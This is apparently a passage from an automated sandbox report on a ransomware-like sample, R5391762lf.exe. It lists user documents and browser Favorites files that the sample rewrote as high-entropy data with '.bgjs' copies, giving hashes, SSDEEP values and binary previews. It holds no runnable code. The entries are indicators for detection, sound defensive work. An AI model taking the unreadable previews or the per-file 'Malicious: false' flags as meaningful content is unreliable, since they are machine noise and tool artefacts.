Preview:	SFPUS3.>)..G.R ._..a.........].Z~..^;v\|.._z.b.U".g.T...u...j5=b).c..Z...]-.[...Z.eP.-....b>Hj\|?...........k..y.[\..Z..[.4Eh.i.$1.n...`z..[f...kM......pBl6.H.H\|.5i.$... .A..(......%{.F."..K..k.$..?.mmF....Br'.....^.x.W...s...k..e........../..x~....90........6.~..3..X............?....t.8.n.:...,e=..F..5.5\|...j&....I.n^\|...h....Z\w.i..IU..B\b.Z.M}.-6..H......-..[=l..p2.}d..tD8.....DpD.SD.\..9.&G.`.......e..,H..0.6..4...Si.....MP...?.P...._D....+.pz../.j....Wt.r..o....n.t..Wr....c...f-.k.....4.t.].j...g1..9.......c.).H........].3.....H....v.......3.U9.....}._....S..9..E...g..-._.6.Zh.l.....C.m......ZT.>.kh.?<..@9y......y...(.)0d<..S'J..Gf.f<i.=o.X,....rX.<..Ek}W.S..a.v.N?...0.=.{q.........g.^....5u9tzA.....6g.g~...wL.h.. .....m...Q..?...ca#..G8.svx...!.-@g4D...z,}......O.-.".....2y..@.Tv....Sm#C..V..,f....4.<b..b..nH.....M4M...x.......A..t......9.[......a...ve......`.eZ..9.J...D+..e.;.r..x......7..i..^...:...2...H.0....V..p.W.g..8d.v#.t....z..

C:\Users\user\Downloads\SFPUSAFIOL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82394999542704
Encrypted:	false
SSDEEP:	24:zGacHT+KQMZYNQixmPB4oDpyL7yiKQYz2XlA0JuMeEPI7cT5nW1xbtmyz0mXq8uQ:z5cH7QM4UB4oDpgusZiRMeEPocTwHQHY
MD5:	82A520B44D3863168126F481462696A0
SHA1:	111EDBBAD40782F99D5AAA935D17A540523B9173
SHA-256:	B7F8E056924ED6D7C9C7E4F4D4204CC9DB09AC624E6C2CAA00F7F98DC1307512
SHA-512:	05B367F463B61747A87509553E343882585AC5B9F2978A6315CC9FD732841E6B36B67CD9D970C02B4C67F4B16CB56CECC964AE35C1B31D1459356E8E18A0544F
Malicious:	false
Preview:	SFPUS3.>)..G.R ._..a.........].Z~..^;v\|.._z.b.U".g.T...u...j5=b).c..Z...]-.[...Z.eP.-....b>Hj\|?...........k..y.[\..Z..[.4Eh.i.$1.n...`z..[f...kM......pBl6.H.H\|.5i.$... .A..(......%{.F."..K..k.$..?.mmF....Br'.....^.x.W...s...k..e........../..x~....90........6.~..3..X............?....t.8.n.:...,e=..F..5.5\|...j&....I.n^\|...h....Z\w.i..IU..B\b.Z.M}.-6..H......-..[=l..p2.}d..tD8.....DpD.SD.\..9.&G.`.......e..,H..0.6..4...Si.....MP...?.P...._D....+.pz../.j....Wt.r..o....n.t..Wr....c...f-.k.....4.t.].j...g1..9.......c.).H........].3.....H....v.......3.U9.....}._....S..9..E...g..-._.6.Zh.l.....C.m......ZT.>.kh.?<..@9y......y...(.)0d<..S'J..Gf.f<i.=o.X,....rX.<..Ek}W.S..a.v.N?...0.=.{q.........g.^....5u9tzA.....6g.g~...wL.h.. .....m...Q..?...ca#..G8.svx...!.-@g4D...z,}......O.-.".....2y..@.Tv....Sm#C..V..,f....4.<b..b..nH.....M4M...x.......A..t......9.[......a...ve......`.eZ..9.J...D+..e.;.r..x......7..i..^...:...2...H.0....V..p.W.g..8d.v#.t....z..

C:\Users\user\Downloads\ZQIXMVQGAH.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854807839997225
Encrypted:	false
SSDEEP:	24:rB5yv+Ot5XbzZmwK04UVQ4B+RU3c2WYh2rzaDafqPJ+d0NXq8uWbD:F5pcXhm+4UutKVgrzKacIsXFuED
MD5:	357585E03B416318856CFB6E7E82AD23
SHA1:	4D128AA19477C73CBF9FB03B052CBF34B204494E
SHA-256:	09CDCB0A24BEF98971EE7937B32FDC9C863683F5F2668640C4B03E28414DE2C8
SHA-512:	49038C1A82060D46AF0AABC73EF0F2A60A0D59878BC7C5F5E8BDFDAB03E16BF0D2DBE40DD0995197139B3BC4F5CF53A2FB47C817A9B0C3C0832650A4375E0978
Malicious:	false
Preview:	ZQIXM.e..q.N.z.;/.3B.....f..j.\..f......RY...u.16...!.8>...........MHZ........m4nc......b....]...z......c......"...Wr.m...9..k...s.L....Ea9[gN...j..\|'.\u.?{R.p.?.&..w..;....bO.^S.SUR.^.zG.....y.....5.bbK.....;R.>.-..}7... ....d...+E...._8..7+..$.!.{...5.4!.7.kL..7....z.`u.V].{..9&...(.:.......j...:.8.....\<^$..uw...+l:ws..t..'.....nR......O....ny..S..~....nd...f....b{.O..iw.+0....f......W.....B...%..f.j....E....M...)_.R.E.P.......w..f...\|./7#0'.A...h..6..H........J.E./.M@2..x<4..$........I......\.t.Y..r.k..ps3.tHxx....x/c..}......tI.x...I-G...EU.R;w.E....T."...E..B.\|x....Dn..6.!../s.Y&..l3.d._..b...H.<.{"e...,u...:...C....;...L..H.P..ka...b....o"..+O.9'!.x-..Ql.....G.........m.......N....@}...hRqv.#n.x..K?.>~.&o#.e.;.....J...9..t@z...1(..L.X...B...2....<%3.....:{3.K........=A?/.`.k2...0.a...E.2.......u.!y.4.c..\|[j. .D..,.\|...$5$..xUI.8.XB.....X..:.....Y..=(..=.+}..o...K-...x@#V.!......8.&..N.....iO..?.B.P..(z{..)C.\)....B.<#.......0d.t

C:\Users\user\Downloads\ZQIXMVQGAH.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854807839997225
Encrypted:	false
SSDEEP:	24:rB5yv+Ot5XbzZmwK04UVQ4B+RU3c2WYh2rzaDafqPJ+d0NXq8uWbD:F5pcXhm+4UutKVgrzKacIsXFuED
MD5:	357585E03B416318856CFB6E7E82AD23
SHA1:	4D128AA19477C73CBF9FB03B052CBF34B204494E
SHA-256:	09CDCB0A24BEF98971EE7937B32FDC9C863683F5F2668640C4B03E28414DE2C8
SHA-512:	49038C1A82060D46AF0AABC73EF0F2A60A0D59878BC7C5F5E8BDFDAB03E16BF0D2DBE40DD0995197139B3BC4F5CF53A2FB47C817A9B0C3C0832650A4375E0978
Malicious:	false
Preview:	ZQIXM.e..q.N.z.;/.3B.....f..j.\..f......RY...u.16...!.8>...........MHZ........m4nc......b....]...z......c......"...Wr.m...9..k...s.L....Ea9[gN...j..\|'.\u.?{R.p.?.&..w..;....bO.^S.SUR.^.zG.....y.....5.bbK.....;R.>.-..}7... ....d...+E...._8..7+..$.!.{...5.4!.7.kL..7....z.`u.V].{..9&...(.:.......j...:.8.....\<^$..uw...+l:ws..t..'.....nR......O....ny..S..~....nd...f....b{.O..iw.+0....f......W.....B...%..f.j....E....M...)_.R.E.P.......w..f...\|./7#0'.A...h..6..H........J.E./.M@2..x<4..$........I......\.t.Y..r.k..ps3.tHxx....x/c..}......tI.x...I-G...EU.R;w.E....T."...E..B.\|x....Dn..6.!../s.Y&..l3.d._..b...H.<.{"e...,u...:...C....;...L..H.P..ka...b....o"..+O.9'!.x-..Ql.....G.........m.......N....@}...hRqv.#n.x..K?.>~.&o#.e.;.....J...9..t@z...1(..L.X...B...2....<%3.....:{3.K........=A?/.`.k2...0.a...E.2.......u.!y.4.c..\|[j. .D..,.\|...$5$..xUI.8.XB.....X..:.....Y..=(..=.+}..o...K-...x@#V.!......8.&..N.....iO..?.B.P..(z{..)C.\)....B.<#.......0d.t

C:\Users\user\Downloads\ZQIXMVQGAH.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852304939741249
Encrypted:	false
SSDEEP:	24:loenIibJypWWJswTQIt0irWENZHQkoVb0T+lNkAPgUBDMjMT1Xq8uWbD:zIibOWW20QETZHQdbjk0/XhXFuED
MD5:	958DF3CC5F82DA8AC95B96FEDFF3032B
SHA1:	ACB44276B4865DBA2043DF7E2A62C4572EA79526
SHA-256:	A16A006B644BF9A86742B0910D5534B08FDF2F84B8E72037D598E9BEF394F126
SHA-512:	0E3D7BEE32648743C9D71548AFD2A1EFB03BDF01E69947DB4640A02BCB2FCD75C751A37E1522188ECD4BA9153ED9A73F1E71E6D3E6A7326AFE119590280826EF
Malicious:	false
Preview:	ZQIXMe..>b.p.i.=...Q..~."}..:....H`ZS..>P.i.....6.R.X]....Rf.es%..:/.]i.........7=.T##9.._.0.J..'Y0.2.aRdv..[:1...P...{...5.djh;q..:.g.3...C.vP......T..D...W.i/a.c2.....i.W.A......gL.V}.....f...f[y...cs%...F.[Kt.TU.;=..!T.PK....O4...K...2....-.9y......n.~...bj;.E...6.0....Q&...o.-.b......]`..y.....\...n..>..\|:.>R..Qw4iI.=S&.q....3).E^.CH....9......X...u.k.d.E.^}V.rk{..Q..w.<..7\.Z{.<..(.........).l..z.rF...b^.......2A..SD".1q...m..6..L..gT8=....&'(dI.P.S...jP.p.....Io.,W.l.~...u.U.#.....R.{...g...D...H......v..^a.P......C..q.Jx....O...`Am.#.w#..4...P].2....Y $.......e..V]..GX.v...}.I..g3.dP_Q}k..b..$s8....!..B&F/..:.Y..=...A..C..7.A..6A..,..%..0....~9c].....W.=....2..9..{.x.X.;E?!>2....`.......%.8I...........L.r....C.E.Ly..:y..MD\u....\|WA.{.N.?.{\|Zkz....X5/..E.aS.g\._...W...r....)+.c..w..d7i....;.QV.s,M...>.O.9e.RW.^..A.(9.k.v.z:6e...[..r...s...4..A...I.F'hBW.....0.N8...v..N_(......?..}....(k....Zl.b;...v'...<36.....v#.&.O...5H.

C:\Users\user\Downloads\ZQIXMVQGAH.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852304939741249
Encrypted:	false
SSDEEP:	24:loenIibJypWWJswTQIt0irWENZHQkoVb0T+lNkAPgUBDMjMT1Xq8uWbD:zIibOWW20QETZHQdbjk0/XhXFuED
MD5:	958DF3CC5F82DA8AC95B96FEDFF3032B
SHA1:	ACB44276B4865DBA2043DF7E2A62C4572EA79526
SHA-256:	A16A006B644BF9A86742B0910D5534B08FDF2F84B8E72037D598E9BEF394F126
SHA-512:	0E3D7BEE32648743C9D71548AFD2A1EFB03BDF01E69947DB4640A02BCB2FCD75C751A37E1522188ECD4BA9153ED9A73F1E71E6D3E6A7326AFE119590280826EF
Malicious:	false
Preview:	ZQIXMe..>b.p.i.=...Q..~."}..:....H`ZS..>P.i.....6.R.X]....Rf.es%..:/.]i.........7=.T##9.._.0.J..'Y0.2.aRdv..[:1...P...{...5.djh;q..:.g.3...C.vP......T..D...W.i/a.c2.....i.W.A......gL.V}.....f...f[y...cs%...F.[Kt.TU.;=..!T.PK....O4...K...2....-.9y......n.~...bj;.E...6.0....Q&...o.-.b......]`..y.....\...n..>..\|:.>R..Qw4iI.=S&.q....3).E^.CH....9......X...u.k.d.E.^}V.rk{..Q..w.<..7\.Z{.<..(.........).l..z.rF...b^.......2A..SD".1q...m..6..L..gT8=....&'(dI.P.S...jP.p.....Io.,W.l.~...u.U.#.....R.{...g...D...H......v..^a.P......C..q.Jx....O...`Am.#.w#..4...P].2....Y $.......e..V]..GX.v...}.I..g3.dP_Q}k..b..$s8....!..B&F/..:.Y..=...A..C..7.A..6A..,..%..0....~9c].....W.=....2..9..{.x.X.;E?!>2....`.......%.8I...........L.r....C.E.Ly..:y..MD\u....\|WA.{.N.?.{\|Zkz....X5/..E.aS.g\._...W...r....)+.c..w..d7i....;.QV.s,M...>.O.9e.RW.^..A.(9.k.v.z:6e...[..r...s...4..A...I.F'hBW.....0.N8...v..N_(......?..}....(k....Zl.b;...v'...<36.....v#.&.O...5H.

C:\Users\user\Downloads\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85785873799301
Encrypted:	false
SSDEEP:	24:G+IEdq1GUUGOGAGvPGHe0OcpDOKMfomUc1Ah/KeJU8a5HIKoV9+Xq8uWbD:GhE41GBGOGvPG+OMfFAZPioKa9+XFuED
MD5:	8497C43577621F5CAC186DE80A519F4F
SHA1:	AECE6B576B6545B33A6F8B9C68FC699F0AE914EA
SHA-256:	10BF9DC4F7E1B11B90090FBE65388DFD9D9CE188BA41CC790B0A05BD6A03B601
SHA-512:	70540F7C9CE85B3068CB13043CDBFFBD65E2C9ED13754CED04190B9241CBDB3EF3E4B8219A841D0B680BC9527F1214D730781E43B9B9B1256AA31184224FBB15
Malicious:	false
Preview:	ZQIXM...,..(......j....-,..2Qm.~.......eh.C.......H.c.......x.3.e....8.k(.../.)".4Px..Mv.y@..+/.......aR.8<.}%H.)n$......n..B.5.i....[.@.0..V...}<..{H#.....O..MK..ST.>q.."...`..t.Y.J.\W./.?64..9.}.`..Q3/$......2...0w.d.09.E.......[.>..,l.7...h....ALC..l....5JU0...xJ.?.kn..Q.0V..~Y.d...P....=Z...m.E...Y...{...R..yQ.4.\|..6...K.#_.9...[......\|....j..t..G`\.V..+...v.....1..`W.ys.J'..v.E..%..\.h.....I..t.......MP>.C>........@..:...F5o5.......PV4..p...x.\|..S./...h.k........3.4...j8.$........m.).......e..;f.A.+..-.....z2,......rc..M#.....xx.v..C........H.H ...rRZ...q.......U.......It4..8F.r.....f.......8..&.h.]s..v...\........1.>Q.b..^$......V...........v`.n.M.B....=..kF.M..*.Cw.6.S].6.....i......5j.80..Jdn.....X...Y#f.....tH....G.{6]n....A..5.L.}......7%U>...kp......xa.(!f.R......,&F.......N...]..'...p...QU\|...>.u..']...R......)>k;.yE...b.x.S'.../....x.%.,..@...}......K.'..k..1..OVr!...1w)`.\|..hlQu}..D..K=.../....#....h..m...

C:\Users\user\Downloads\ZQIXMVQGAH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85785873799301
Encrypted:	false
SSDEEP:	24:G+IEdq1GUUGOGAGvPGHe0OcpDOKMfomUc1Ah/KeJU8a5HIKoV9+Xq8uWbD:GhE41GBGOGvPG+OMfFAZPioKa9+XFuED
MD5:	8497C43577621F5CAC186DE80A519F4F
SHA1:	AECE6B576B6545B33A6F8B9C68FC699F0AE914EA
SHA-256:	10BF9DC4F7E1B11B90090FBE65388DFD9D9CE188BA41CC790B0A05BD6A03B601
SHA-512:	70540F7C9CE85B3068CB13043CDBFFBD65E2C9ED13754CED04190B9241CBDB3EF3E4B8219A841D0B680BC9527F1214D730781E43B9B9B1256AA31184224FBB15
Malicious:	false
Preview:	ZQIXM...,..(......j....-,..2Qm.~.......eh.C.......H.c.......x.3.e....8.k(.../.)".4Px..Mv.y@..+/.......aR.8<.}%H.)n$......n..B.5.i....[.@.0..V...}<..{H#.....O..MK..ST.>q.."...`..t.Y.J.\W./.?64..9.}.`..Q3/$......2...0w.d.09.E.......[.>..,l.7...h....ALC..l....5JU0...xJ.?.kn..Q.0V..~Y.d...P....=Z...m.E...Y...{...R..yQ.4.\|..6...K.#_.9...[......\|....j..t..G`\.V..+...v.....1..`W.ys.J'..v.E..%..\.h.....I..t.......MP>.C>........@..:...F5o5.......PV4..p...x.\|..S./...h.k........3.4...j8.$........m.).......e..;f.A.+..-.....z2,......rc..M#.....xx.v..C........H.H ...rRZ...q.......U.......It4..8F.r.....f.......8..&.h.]s..v...\........1.>Q.b..^$......V...........v`.n.M.B....=..kF.M..*.Cw.6.S].6.....i......5j.80..Jdn.....X...Y#f.....tH....G.{6]n....A..5.L.}......7%U>...kp......xa.(!f.R......,&F.......N...]..'...p...QU\|...>.u..']...R......)>k;.yE...b.x.S'.../....x.%.,..@...}......K.'..k..1..OVr!...1w)`.\|..hlQu}..D..K=.../....#....h..m...

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.444008508346229
Encrypted:	false
SSDEEP:	12:9x1bb9MH/kaLHaZMxrvtLwB7qXqOTuWcii9a:X1b8zraZkrNrXq8uWbD
MD5:	91008CFA9E02A377ADBF03549A79F9C3
SHA1:	76EBCE1698C6F71C2A8F77F68D1880297CCF6100
SHA-256:	C689F638F7B27EBB405BEB2E7719976E0CCC8DA4CC2A94F56E8A3F57BF573415
SHA-512:	72FEDB284567467DA1471DEFCBFD02FFE9B26361C698A1A762AE074229170C7A774233D13F86010884AE54740F78A386534B114558F50F1212901FD4E86FFBF5
Malicious:	false
Preview:	[{000.>t3. ...Y.6.gNL..W.."...1..BwI.w....!.16K...6)<.Wzb..[..\|.l..2......y......~.U.D..".{.z .........v\|\|...&.........i..u.e..(..F.}...6o..=.B.u.)...>....K+....~....Cm`..RQ.v.%.XFD.q....{.qh.`.>..h..P....".R....@.a.'...J.{L.N.50..iN; 6...+......X.~..oW....`........^$.t....$a>j;.[....&.p.7....ZP.>.d.8LF..S..k...b...}.e....\7{H>..6L?2....5Rc.d[..n.f.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.444008508346229
Encrypted:	false
SSDEEP:	12:9x1bb9MH/kaLHaZMxrvtLwB7qXqOTuWcii9a:X1b8zraZkrNrXq8uWbD
MD5:	91008CFA9E02A377ADBF03549A79F9C3
SHA1:	76EBCE1698C6F71C2A8F77F68D1880297CCF6100
SHA-256:	C689F638F7B27EBB405BEB2E7719976E0CCC8DA4CC2A94F56E8A3F57BF573415
SHA-512:	72FEDB284567467DA1471DEFCBFD02FFE9B26361C698A1A762AE074229170C7A774233D13F86010884AE54740F78A386534B114558F50F1212901FD4E86FFBF5
Malicious:	false
Preview:	[{000.>t3. ...Y.6.gNL..W.."...1..BwI.w....!.16K...6)<.Wzb..[..\|.l..2......y......~.U.D..".{.z .........v\|\|...&.........i..u.e..(..F.}...6o..=.B.u.)...>....K+....~....Cm`..RQ.v.%.XFD.q....{.qh.`.>..h..P....".R....@.a.'...J.{L.N.50..iN; 6...+......X.~..oW....`........^$.t....$a>j;.[....&.p.7....ZP.>.d.8LF..S..k...b...}.e....\7{H>..6L?2....5Rc.d[..n.f.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.5443508655190845
Encrypted:	false
SSDEEP:	12:6WpSlGLfTaHjJg9yLUrq1G0fAwvu+dpgej8u0kkaFoXipkDXqOTuWcii9a:6blGPW8uGuprbjXdl8iYXq8uWbD
MD5:	0B8F0F9559489A8364D5A6CBF6CD75C2
SHA1:	976DFA0F50EBDB521D0C2B2A40DE27141512B4BA
SHA-256:	C5AFC67D3487066DCB54342BC8862D8528915F34C095947D1D7996BDFAE36FFB
SHA-512:	8D32B8D081674FC5EC1AD23F15461C4C32D47859F68F7C46AD147E08B01BBBB929281235CD4B9B94A410CC6A67CBA4CB754F3EAC56EB6151CB336523765D096D
Malicious:	false
Preview:	[{000N...x.7......4.....w..TB.M...1._;\|.z....1mS.Y....W..O.)..(...A........pdk.,.L4.0.uy.j.ig4{.Ve.M.>@q......@.......U.f.hJT....1..{.e.fX.FO{<.^b.J.w6.{...d..XJ`.F......Q..?.U.a<q<..j..\|.TkK.."..x.Z.....s._t..`TN.$.y..V...\...-..d.B.=.b.....`..%D..<.N...{..B.'tQ...t....].m.w.p..e.1.FG.+..g....XC.9...2..Z....2.....^........\.?.q=7(. d..V...e6j>0.....-....&`A...:o......O.............v4.f.V.\..mY..Q..C.....-.o.../.=.^.S2dW`.D[EJ.u...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.5443508655190845
Encrypted:	false
SSDEEP:	12:6WpSlGLfTaHjJg9yLUrq1G0fAwvu+dpgej8u0kkaFoXipkDXqOTuWcii9a:6blGPW8uGuprbjXdl8iYXq8uWbD
MD5:	0B8F0F9559489A8364D5A6CBF6CD75C2
SHA1:	976DFA0F50EBDB521D0C2B2A40DE27141512B4BA
SHA-256:	C5AFC67D3487066DCB54342BC8862D8528915F34C095947D1D7996BDFAE36FFB
SHA-512:	8D32B8D081674FC5EC1AD23F15461C4C32D47859F68F7C46AD147E08B01BBBB929281235CD4B9B94A410CC6A67CBA4CB754F3EAC56EB6151CB336523765D096D
Malicious:	false
Preview:	[{000N...x.7......4.....w..TB.M...1._;\|.z....1mS.Y....W..O.)..(...A........pdk.,.L4.0.uy.j.ig4{.Ve.M.>@q......@.......U.f.hJT....1..{.e.fX.FO{<.^b.J.w6.{...d..XJ`.F......Q..?.U.a<q<..j..\|.TkK.."..x.Z.....s._t..`TN.$.y..V...\...-..d.B.=.b.....`..%D..<.N...{..B.'tQ...t....].m.w.p..e.1.FG.+..g....XC.9...2..Z....2.....^........\.?.q=7(. d..V...e6j>0.....-....&`A...:o......O.............v4.f.V.\..mY..Q..C.....-.o.../.=.^.S2dW`.D[EJ.u...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.458193719713469
Encrypted:	false
SSDEEP:	12:MTQmfYSgFz/GoAuKaMtdgfw0pksUElXqOTuWcii9a:eQVSgFzNsofrpXq8uWbD
MD5:	5E82380421CD4C2F89DF62194B03A53A
SHA1:	C649D3F78864B125560333A0198BF6E040BFAAF5
SHA-256:	72DFB54B14725918B738687A8CA3ACC15ACC706C4D6F5E4998179B3ED1053D90
SHA-512:	FCC2F08729C504788ECAE4762C9DF0966AB311F00BF73E2513A945F0C7EEEB60156AE5EE8872E1A91C4E8714AB8AB9CA32F769877CE965AEBFB1E6812C215BA6
Malicious:	false
Preview:	[{000>..]a...U-cg~..&.X....o9p.{...*......,&.9...Ty#LJY..].2D.v.z.....z=..\X...z....IJ.c...&....n8..W..c.e`...-.S:..H8.r9.%..d.....b7aF.-..X.n..Mk...z.........)E.s....N.y.]....r...zl....t._V...V..L...JA...9{.C..g..U.6i.w..Kn.n.....8......=..r.G...5....w\|.......k9H.$n....`f.pyfL\u.:.....[.....G.......[.U....@.mR.6..2..T..\|xgZ.9.QD@...Li...GV..1.A..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.458193719713469
Encrypted:	false
SSDEEP:	12:MTQmfYSgFz/GoAuKaMtdgfw0pksUElXqOTuWcii9a:eQVSgFzNsofrpXq8uWbD
MD5:	5E82380421CD4C2F89DF62194B03A53A
SHA1:	C649D3F78864B125560333A0198BF6E040BFAAF5
SHA-256:	72DFB54B14725918B738687A8CA3ACC15ACC706C4D6F5E4998179B3ED1053D90
SHA-512:	FCC2F08729C504788ECAE4762C9DF0966AB311F00BF73E2513A945F0C7EEEB60156AE5EE8872E1A91C4E8714AB8AB9CA32F769877CE965AEBFB1E6812C215BA6
Malicious:	false
Preview:	[{000>..]a...U-cg~..&.X....o9p.{...*......,&.9...Ty#LJY..].2D.v.z.....z=..\X...z....IJ.c...&....n8..W..c.e`...-.S:..H8.r9.%..d.....b7aF.-..X.n..Mk...z.........)E.s....N.y.]....r...zl....t._V...V..L...JA...9{.C..g..U.6i.w..Kn.n.....8......=..r.G...5....w\|.......k9H.$n....`f.pyfL\u.:.....[.....G.......[.U....@.mR.6..2..T..\|xgZ.9.QD@...Li...GV..1.A..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.388125314097652
Encrypted:	false
SSDEEP:	12:C4Q3A2YxTL5VPoYL4m7NsqXY9939v8uXqOTuWcii9a:C4qCZVVPoE4zlFXq8uWbD
MD5:	8D557BA07654E5C070969B9DAC1AF4CD
SHA1:	C3B764765E9295310A220721F34AB78381213146
SHA-256:	52E75A137C0CCA247F6498C09BC1784A0B963D93B0FF44BF0956C37C9FFC3653
SHA-512:	B54620294B3E9F47399CC779E8E8479368A6B028D023D0801708599745F9F5643717815D7E10A44E2091DFC546418F724E4D4DB5546CE13AEFB5E8B49243AC38
Malicious:	false
Preview:	[{000..(r.lM.T._...g.'.D!,.U...(NR.(L.&..<...sN..g.=.S..f...SD.HbG..\a..?..&.#..1.0b...#........0 ...R....;._6.m...#...2k_.6...,......L..B.s..1N.N.-H.U<C..w......+.x5....H.3....c....y.3f..0b7Z.A.z..._...y.}..]..Y.5....4]......mKg...O....\Su...b(A....._.Z..S .....ehD(2\|n>..e=..H....J..X8$...>.?vjo.r6.}uM..$........u..7Q.UU.M...X...d...t5.....N..;3.m.X.."doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.388125314097652
Encrypted:	false
SSDEEP:	12:C4Q3A2YxTL5VPoYL4m7NsqXY9939v8uXqOTuWcii9a:C4qCZVVPoE4zlFXq8uWbD
MD5:	8D557BA07654E5C070969B9DAC1AF4CD
SHA1:	C3B764765E9295310A220721F34AB78381213146
SHA-256:	52E75A137C0CCA247F6498C09BC1784A0B963D93B0FF44BF0956C37C9FFC3653
SHA-512:	B54620294B3E9F47399CC779E8E8479368A6B028D023D0801708599745F9F5643717815D7E10A44E2091DFC546418F724E4D4DB5546CE13AEFB5E8B49243AC38
Malicious:	false
Preview:	[{000..(r.lM.T._...g.'.D!,.U...(NR.(L.&..<...sN..g.=.S..f...SD.HbG..\a..?..&.#..1.0b...#........0 ...R....;._6.m...#...2k_.6...,......L..B.s..1N.N.-H.U<C..w......+.x5....H.3....c....y.3f..0b7Z.A.z..._...y.}..]..Y.5....4]......mKg...O....\Su...b(A....._.Z..S .....ehD(2\|n>..e=..H....J..X8$...>.?vjo.r6.}uM..$........u..7Q.UU.M...X...d...t5.....N..;3.m.X.."doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.479392080740132
Encrypted:	false
SSDEEP:	12:GgjJVbFtvURJxMXtz/A/Wb1h7Xso17cKXqOTuWcii9a:nu5MXB/EWbsoAKXq8uWbD
MD5:	91B1B528632B7E73E0FC2E57A89FF58A
SHA1:	DB73E83AF900D40B9BE377361568F6186EFCD6DB
SHA-256:	B2DA52FB0BC7CA6A1757B19CF668E33F51336196EC9DE68FDCDD9A38E64BE337
SHA-512:	4FC75C541355F0DDF646B595EB21CAF47C8649A22A6A38B0620F2228960C0D66D60BA9F20AC989AEC2576D63EDC7FF9049897CE337C8A814C6DE9C3DB29D72E8
Malicious:	false
Preview:	[{0004.... ..y.......\|.&.,q(.$.....C6....\...zI.h..x..C...3.J......(Va;.\Y.c}.l.{x..n....r..t.9r....F..4..2..!Y..!...9......_.3.[.x..n.B..L<1..'..Z....(.4.H#2s....*.O......0..~..5.X&....3..AbM.w..'..,.....^.....(...~./S.L.yb.P.....tJ>..V.H.k1r......w@.....p...e.w..A.... ..:q_;..\vs.o..>.v.......X...V.d..........5..e...:.p8....@;R.....HZT....mdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4956666759950865
Encrypted:	false
SSDEEP:	12:XrxJKRqlYYqX7xRuOqm9rfqg1SLY5bFXqOTuWcii9a:bxJdlRqX7xRmmFQ01FXq8uWbD
MD5:	F0C5D078B624C6916D099D2A5E937186
SHA1:	03CC02AF4E48B872627BC3FB4A171362F785F16B
SHA-256:	EC21F77B1238BF2F614F2B35F946EE06F49FAFDEF5595D3A09DC8CAEFC759382
